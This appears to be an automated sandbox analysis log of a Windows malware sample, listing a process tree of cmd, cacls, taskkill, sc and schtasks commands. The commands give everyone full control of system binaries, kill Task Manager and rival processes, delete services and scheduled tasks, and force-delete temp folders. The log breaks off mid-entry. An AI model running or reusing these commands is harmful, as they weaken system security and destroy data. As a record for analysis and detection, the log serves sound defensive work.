- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:1260
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:2372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:4688
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:4272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
  2⤵
  PID:684
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
    3⤵
    PID:3260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:256
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:6820
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:2916
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:5992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:5168
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5996
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:7516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:5332
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:7384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:6916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1564
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:7140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:5960
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:6940
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:6628
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:6532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:7024
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:4452
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:4644
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:2036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:4476
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:4384
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:7056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  PID:1540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    PID:6392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  PID:3220
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:7368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  PID:1836
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    - Kills process with taskkill
    PID:7084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  PID:3144
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    - Kills process with taskkill
    PID:6828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:7660
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    - Kills process with taskkill
    PID:1404
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:7504
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    - Kills process with taskkill
    PID:5500
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:7916
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:7220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:7864
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:7244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
  2⤵
  PID:7920
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
    3⤵
    PID:3836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:7620
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:6376
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:7740
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6348
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:5132
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:7904
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:7288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:4612
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:6664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:7712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7408
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:7596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:7840
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:6404
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:7412
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:7464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:7604
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5192
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:3864
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:3976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:5384
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  PID:8048
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  PID:6028
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    - Kills process with taskkill
    PID:6808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  PID:4956
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    PID:7316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  PID:7312
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    - Kills process with taskkill
    PID:7568
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  PID:5380
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    PID:3444
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  PID:2124
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    - Kills process with taskkill
    PID:6584
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQL~1\AppData\Local\Temp\*
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQLSERVER\AppData\Local\Temp\*
  2⤵
  PID:7528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Temp\*
  2⤵
  PID:6252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\*
  2⤵
  PID:7732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\Administrator\AppData\Local\Temp\*
  2⤵
  PID:7724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate2.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1232
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:7120
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:4128
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:1576
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g system:f
    3⤵
    PID:5292
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g system:f
    3⤵
    PID:2516
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2296
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g system:f
    3⤵
    PID:1152
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:5732
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:6844
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:3692
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    PID:6688
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    PID:6172
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    PID:2020
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    PID:7580
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:5416
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:6180
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:7952
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:6692
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    PID:7992
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:8076
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    PID:8132
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:8108
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:8068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    - Kills process with taskkill
    PID:6312
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Rsytvcp.exe
    3⤵
    - Kills process with taskkill
    PID:8156
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    - Kills process with taskkill
    PID:7308
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdxgiwrap.exe
    3⤵
    PID:5876
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r everyone
    3⤵
    PID:4584
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r system
    3⤵
    PID:716
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap" /t /e /c /r everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4252
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap" /t /e /c /r system
    3⤵
    PID:6696
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Rsytvcem" /t /e /c /r everyone
    3⤵
    PID:6100
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Rsytvcem" /t /e /c /r system
    3⤵
    PID:5736
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Nvdxgiwrap" /t /e /c /r everyone
    3⤵
    PID:1180
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Nvdxgiwrap" /t /e /c /r system
    3⤵
    PID:6428
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r everyone
    3⤵
    PID:1272
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem" /t /e /c /r system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5164
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap" /t /e /c /r everyone
    3⤵
    PID:4572
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap" /t /e /c /r system
    3⤵
    PID:6388
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem\*" /t /e /c /r everyone
    3⤵
    PID:2016
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem\*" /t /e /c /r system
    3⤵
    PID:4556
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap\*" /t /e /c /r everyone
    3⤵
    PID:6764
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap\*" /t /e /c /r system
    3⤵
    PID:1252
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem\Rsytvcp.exe" /t /e /c /r everyone
    3⤵
    PID:7152
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Rsytvcem\Rsytvcp.exe" /t /e /c /r system
    3⤵
    PID:1508
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap\Nvdxgiwrap.exe" /t /e /c /r everyone
    3⤵
    PID:3384
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Nvdxgiwrap\Nvdxgiwrap.exe" /t /e /c /r system
    3⤵
    PID:1700
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Rsytvcem\*" /t /e /c /r everyone
    3⤵
    PID:248
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Rsytvcem\*" /t /e /c /r system
    3⤵
    PID:3688
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Nvdxgiwrap\*" /t /e /c /r everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7260
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Nvdxgiwrap\*" /t /e /c /r system
    3⤵
    PID:1344
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Rsytvcem\Rsytvcp.exe" /t /e /c /r everyone
    3⤵
    PID:6224
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Rsytvcem\Rsytvcp.exe" /t /e /c /r system
    3⤵
    PID:7516
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Nvdxgiwrap\Nvdxgiwrap.exe" /t /e /c /r everyone
    3⤵
    PID:6056
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Nvdxgiwrap\Nvdxgiwrap.exe" /t /e /c /r system
    3⤵
    PID:3708
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Nvdxgiwrap"
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:6820
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows Rsytvcem"
    3⤵
    - Launches sc.exe
    PID:7988
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Kills process with taskkill
    PID:3604
- - C:\Windows\SysWOW64\cacls.exe
    Cacls c:\windows\temp\conhoy.exe /t /e /c /r everyone
    3⤵
    PID:7232
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /r everyone
    3⤵
    PID:1112
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /r system
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    PID:3968
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\system\msinfo.exe /t /e /c /r everyone
    3⤵
    PID:7124
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /r everyone
    3⤵
    PID:3216
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /r system
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - Kills process with taskkill
    PID:7192
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - Kills process with taskkill
    PID:2148
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\system/t /e /c /r everyone
    3⤵
    PID:7368
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\INF\aspnet/t /e /c /r everyone
    3⤵
    PID:688
- - C:\Windows\SysWOW64\cacls.exe
    Cacls lsma12.exe /t /e /c /r everyone
    3⤵
    PID:6344
- - C:\Windows\SysWOW64\cacls.exe
    Cacls lsma12.exe /t /e /c /r system
    3⤵
    PID:2792
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    - Kills process with taskkill
    PID:6612
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    - Kills process with taskkill
    PID:4452
- - C:\Windows\SysWOW64\cacls.exe
    Cacls csrs.exe /t /e /c /r everyone
    3⤵
    PID:2512
- - C:\Windows\SysWOW64\cacls.exe
    Cacls csrs.exe /t /e /c /r system
    3⤵
    PID:784
- - C:\Windows\SysWOW64\cacls.exe
    Cacls C:\Windows\SysWOW64\csrs.exe /t /e /c /r everyone
    3⤵
    PID:5948
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:3576
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Kills process with taskkill
    PID:6800
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftWindows" /F
    3⤵
    PID:3284
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa" /F
    3⤵
    PID:6740
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa1" /F
    3⤵
    PID:2484
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa2" /F
    3⤵
    PID:3972
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Mysa3" /F
    3⤵
    PID:5860
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "OKa" /F
    3⤵
    PID:7096
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "OK" /F
    3⤵
    PID:624
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindows" /F
    3⤵
    PID:6192
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindowsu" /F
    3⤵
    PID:5352
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindowsy" /F
    3⤵
    PID:3000
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "At1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1560
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "At2" /F
    3⤵
    PID:7044
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "45645" /F
    3⤵
    PID:7684
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "MicrosoftsWindowsy" /F
    3⤵
    PID:7480
- - C:\Windows\SysWOW64\sc.exe
    sc delete "xwinwpdsrv"
    3⤵
    - Launches sc.exe
    PID:7608
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\ProgramData\Oracle\Java\java.exe" /t /e /c /r everyone
    3⤵
    PID:7340
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\ProgramData\Oracle\Java\java.exe" /t /e /c /r system
    3⤵
    PID:8004
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\ProgramData\Oracle\Java\java.exe" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    PID:7656
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\ProgramData\Oracle\Java\java.exe" /t /e /c /r system
    3⤵
    - Enumerates connected drives
    PID:8020
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\ProgramData\Oracle\Java\java.exe" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    PID:5880
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\ProgramData\Oracle\Java\java.exe" /t /e /c /r system
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    PID:7448
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im java.exe
    3⤵
    PID:5492
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\svchost.com" /t /e /c /r everyone
    3⤵
    PID:5284
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Windows\svchost.com" /t /e /c /r system
    3⤵
    PID:2996
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\Windows\svchost.com" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    PID:1996
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\Windows\svchost.com" /t /e /c /r system
    3⤵
    - Enumerates connected drives
    PID:6792
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "E:\Windows\svchost.com" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    PID:7344
- - C:\Windows\SysWOW64\cacls.exe
